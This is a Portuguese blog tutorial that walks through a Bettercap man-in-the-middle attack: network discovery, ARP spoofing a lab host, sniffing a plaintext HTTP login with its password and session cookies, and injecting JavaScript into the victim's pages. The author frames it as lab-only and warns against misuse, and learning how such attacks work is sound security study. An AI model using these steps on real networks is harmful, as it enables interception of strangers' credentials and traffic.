Bettercap: Um guia para toda a família
Então você decide começar a brincar com segurança de redes e logo o Bettercap aparece no topo dos resultados da busca do Google (ou DuckDuckGo ❤).
Você, script kiddie que é, logo baixa e instala a versão mais recente do Bettercap e finalmente tem tudo o que precisa para começar sua vida de hacker, roubar todas as senhas das redes dos vizinhos, invadir a NASA e… Não tem nenhum tutorial decente na web.
Sobram então duas opções: (1) bater cabeça, testar todos os módulos na mão e se frustrar muito até aprender algo ou (2) continuar lendo esse post :)
Setup
Os testes realizados nesse post utilizaram os seguintes componentes (tanto de rede quanto da máquina atacante)
- Arch Linux
- Bettercap v2.24.1 (ou mais recente)
Cuidados
Todos os testes realizados aqui foram feitos em ambientes controlados, com as devidas permissões. Por favor não utilize esse conhecimento para nada que viole privacidade ou quaisquer leis.
Um Etter Melhor
Se você chegou até o Bettercap existe uma boa chance de que você já conheça a ideia geral (nada técnico não) por trás de um ataque de homem no meio (ou Man-in-the-Middle, MITM). O pai do Bettercap, o Ettercap, foi criado como uma suíte para possibilitar diversas formas e implementações de ataques MITM.
O Bettercap é o sucessor do Ettercap e, como o próprio nome diz, ele é melhor (better). O Bettercap oferece uma gama muito maior de ataques, bem como a possibilidade de escrever scripts (caplets) que implementem ataques customizados, colocando muito mais poder nas nossas mãos — mas, como diria o Tio Ben,
Com grandes poderes vêm grandes responsabilidades.
Há muito o que aprender sobre o Bettercap, mas vamos com calma, afinal ninguém quer reiventar a roda só pra andar de carro.
Um Fusquinha
Para fazer nosso primeiro ataque MITM vamos usar os módulos de ARP spoofing (arp.spoof) e de reconhecimento (net.recon, net.probe e net.show) do Bettercap:
$ sudo bettercap192.168.0.0/24 > 192.168.0.5 »
Reconhecimento
Dica: se você não sabe quais as opções de algum módulo digite help nome.do.modulo, ou, para ver a lista de módulos do Bettercap, utilize apenas help.
Primeiramente precisamos descobrir os IPs das máquinas conectadas na rede, para isso vamos usar o módulo net.recon:
192.168.0.0/24 > 192.168.0.5 » help net.reconnet.recon (not running): Read periodically the ARP cache in order to monitor for new hosts on the network.net.recon on : Start network hosts discovery.
net.recon off : Stop network hosts discovery.
net.clear : Clear all endpoints collected by the hosts discovery module.
net.show : Show cache hosts list (default sorting by ip).
net.show ADDRESS1, ADDRESS2 : Show information about a specific comma separated list of addresses (by IP or MAC).
net.show.meta ADDRESS1, ADDRESS2 : Show meta information about a specific comma separated list of addresses (by IP or MAC).
Parametersnet.show.filter : Defines a regular expression filter for net.show (default=)
net.show.limit : Defines limit for net.show (default=0)
net.show.meta : If true, the net.show command will show all metadata collected about each endpoint. (default=false)
net.show.sort : Defines sorting field (ip, mac, seen, sent, rcvd) and direction (asc or desc) for net.show (default=ip asc)
O texto de ajuda nos dá uma boa noção do que está acontecendo. A primeira coisa que notamos é que o net.recon utiliza as entradas da tabela ARP do seu computador para reconhecer os hosts conectados na rede. Isso significa que ele faz um reconhecimento passivo, reconhecendo os hosts na medida em que eles enviam pacotes ARP pela rede.
Como não queremos ficar esperando para que os hosts enviem pacotes para descobrí-los, podemos usar uma abordagem ativa com o net.probe, que fica enviando pacotes UDP para todos os possíveis IPs da rede e vê quais IPs respondem:
192.168.0.0/24 > 192.168.0.5 » help net.probe
net.probe (not running): Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet.net.probe on : Start network hosts probing in background.
net.probe off : Stop network hosts probing in background.Parametersnet.probe.mdns : Enable mDNS discovery probes. (default=true)
net.probe.nbns : Enable NetBIOS name service discovery probes. (default=true)
net.probe.throttle : If greater than 0, probe packets will be throttled by this value in milliseconds. (default=10)
net.probe.upnp : Enable UPNP discovery probes. (default=true)
net.probe.wsd : Enable WSD discovery probes. (default=true)
Vamos então primeiramente listar os hosts da nossa rede usando net.probe:
192.168.0.0/24 > 192.168.0.5 » net.probe onOs hosts descobertos devem aparecer conforme a ordem de descoberta. Para listar todos os descobertos até agora vamos usar o net.show:
192.168.0.0/24 > 192.168.0.5 » net.showAgora vamos escolher um dos hosts para impersonar durante o MITM. Nesse exemplo vamos atacar o 192.168.0.111, que é uma máquina configurada especificamente para demonstrar o ataque.
Obs: O IP do host a ser atacado depende da rede em que você está conectado.
Obs 2: O computador que eu estou atacando foi configurado e ligado especificamente para esse tutorial. Não ataque hosts sem as devidas permissões!!
Tique-taque
Uma das funcionalidades mais legais do Bettercap é o ticker, que permite configurar comandos que fiquem rodando de tempos em tempos. Se você não entendeu porque isso é útil eu mostro:
192.168.0.0/24 > 192.168.0.5 » set ticker.commands 'clear; net.show'
192.168.0.0/24 > 192.168.0.5 » set ticker.period 1
192.168.0.0/24 > 192.168.0.5 » ticker onTÃ-RÃÃÃÃÃÃÃÃÃ
Ele vai ficar limpando a tela e te mostrando um resumo dos hosts na rede atualizado a cada 1 segundo. Mas pra falar a verdade eu só configurei os parâmetros manualmente pra mostrar que dá pra usar com outros comandos e em outros intervalos, porque esses valores já são os padrão (o que quer dizer que você pode atingir o mesmo resultado apenas com:)
192.168.0.0/24 > 192.168.0.5 » ticker onÀs Máscaras, Hackers
Para realizar o MITM vamos usar o módulo arp.spoof:
192.168.0.0/24 > 192.168.0.5 » help arp.spoofarp.spoof (not running): Keep spoofing selected hosts on the network.arp.spoof on : Start ARP spoofer.
arp.ban on : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.
arp.spoof off : Stop ARP spoofer.
arp.ban off : Stop ARP spoofer.Parametersarp.spoof.fullduplex : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)arp.spoof.internal : If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network. (default=false)arp.spoof.targets : Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges. (default=<entire subnet>)arp.spoof.whitelist : Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing. (default=)
Como o ataque que vamos fazer é simples, só precisaremos mexer em um desses argumentos: a lista de alvos (targets). A opção padrão (default) para a lista de alvos é a rede inteira, mas nós só queremos atacar um host (o 192.168.0.111):
192.168.0.0/24 > 192.168.0.5 » set arp.spoof.targets 192.168.0.111Ah! Você pode ver como estão os parâmetros de qualquer modo usando o comando get:
192.168.0.0/24 > 192.168.0.5 » get arp.spoof.fullduplexarp.spoof.fullduplex: 'false'
Se quiser ver todos os parâmetros de um determinado módulo você pode usar coringas (wildcards), tipo os de regex mesmo:
192.168.0.0/24 > 192.168.0.5 » get arp.spoof.* arp.spoof.fullduplex: 'false'
arp.spoof.internal: 'false'
arp.spoof.targets: '192.168.0.111'
arp.spoof.whitelist: ''
E finalmente vamos ligar o módulo de arp spoofing:
192.168.0.0/24 > 192.168.0.5 » arp.spoof onCheirinho de sniffer
Beleza, legal, você está spoofando o seu alvo… Mas e daí? Daí que você não vai conseguir ver nada a menos que ligue um sniffer. Deixa eu explicar: você agora está fazendo o seu alvo acreditar que você é o gateway (roteador, access point, switch, hoje em dia essas paradas estão todas no mesmo aparelho físico). Ou seja, o seu alvo está enviando pra você todos os pacotes que ele troca com qualquer serviço da internet, mas isso não quer dizer que o seu computador vai de fato abrir os pacotes e olhar eles.
O sniffer é o programa que vai pegar os pacotes que passam pelo seu computador e de fato abrir e lê-los (claro que o bettercap tem um prontinho :)
192.168.0.0/24 > 192.168.0.5 » net.sniff onAgora sim, vá na máquina que você está atacando e acesse uns sites com ela. Você logo vai ver no Bettercap um montão de informação sobre os pacotes capturados.
Importante notar que na máquina atacada tudo parece normal, isso é porque o Bettercap captura os pacotes, abre, te mostra e depois os encaminha para o roteador normalmente, então seu alvo não nota de cara que está sendo atacado.
Eu adoro Neopets, ainda mais porque eles usam HTTP em vez de HTTPS (ou seja, nada de criptografia no HTTP). Aqui está a saída do Bettercap depois que tendo fazer um login no Neopets pelo computador alvo:
POST /login.phtml HTTP/1.1
Host: www.neopets.com
Referer: http://www.neopets.com/login/index.phtml?destination=%2Fmyaccount.phtml
Cookie: np_randseed=31799734161242960; np_uniq=pending; xt6Yr4e33D=225442642583; npuid=1300000us000000000030000200000000000000000000000000000000e700000; np_uniq_=2019-09-02; _tz=180; __utma=258639253.789120969.1565725586.1565963834.1567458091.4; __utmz=238639253.1565725586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); SPSI=57f2c16e050132f78dd3bdc9ac5daae1; spcsrf=742382132210d20e8d8416a56d45d9be; UTGv2=h425a51214f01c80f87620203f3b624a19b42; PHPSESSID=6ttts0g7tg8evlt8idmubeunk0; PRLST=ju; adOtr=c2K1Ref0605; __utmb=258639253.7.10.1567458091; __utmc=258639253; sp_lit=CbP52BTIse8zj/TZUq3NrQ==; __utmt=1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflatedestination=%2Fmyaccount.phtml&username=fui&password=hackeado
Como o Neopets não usa HTTPS, as informações trafegam em texto plano, então não é preciso nada mais chique no nosso ataque. Aúltima linha mostra o usuário e a senha digitados no computador do alvo.
Filtrando saídas do sniffer
Se você realmente deu uma brincada no computador do alvo você deve ter notado que mesmo um computador pessoal (PC) normal gera muita saída com alguns simples acessos, muito material que em geral não nos é útil (agora imagina quando você tá spoofando a rede inteira!). Então o que podemos fazer é usar Expressões Regulares para filtrar a saída para mostrar somente o que nos é interessante. Por exemplo, vamos fazer ele mostrar somente pacotes que tiverem a palavra “password”:
192.168.0.0/24 > 192.168.0.5 » set net.sniff.regexp passwordVoilà! Sem mais toda aquela nojeira que não importa. Dá pra refinar ainda mais com expressões mais complexas, mas isso foge do escopo desse post.
Avisando o alvo (ou http proxy)
Não sejamos malvados, vamos avisar o nosso alvo de que ele está vulnerável para ele ficar mais alerta das próximas vezes! O módulo http.proxy do Bettercap é ótimo pra brincar com os pacotes que capturamos.
É provável que você já tenha ouvido falar de (e até incentivado a usar) servidores proxy, ou proxy servers em inglês. Um servidor proxy é um servidor que geralmente roda perto da sua máquina e que intercepta pacotes que você envia para o mundo externo (e vice-versa). Na real, isso tudo é configurável, mas o que importa aqui é que existe um programinha embutido no Bettercap que facilita o processo de alterar pacotes do alvo. Por exemplo, podemos colocar uma caixa de alerta em todos os pacotes HTTP que nosso alvo receber dizendo “Fui hackeado”, e, claro, se podemos, é isso mesmo que vamos fazer!
Crie um arquivo .js (no meu caso o nome vai ser hacked.js) e coloque algum código javascript dentro dele. Nós vamos fazer só uma caixinha simples de alerta, mas perceba que você pode colocar qualquer código javascript aqui.
// Arquivo hacked.jsalert('Voce foi hackeado(a)!')
No compudador alvo, qualquer site HTTP (não HTTPS) acessado mostrará o código injetado (no caso, abrindo uma janela com o texto “Voce foi hackeado(a)!”).
Obs: Até a data de escrita deste post não existem ataques viáveis para acessar, ver e modificar informações de sites HTTPS. Em um post futuro falaremos do estado dos problemas de segurança do protocolo HTTPS.
C’est fini!
Obrigado por ler até aqui. Eu espero soltar um próximo post com ataques em redes wifi, indo mais profundamente em conceitos de redes e tudo mais. Se você achou algum problema ou erro, não hesite em comentar :)
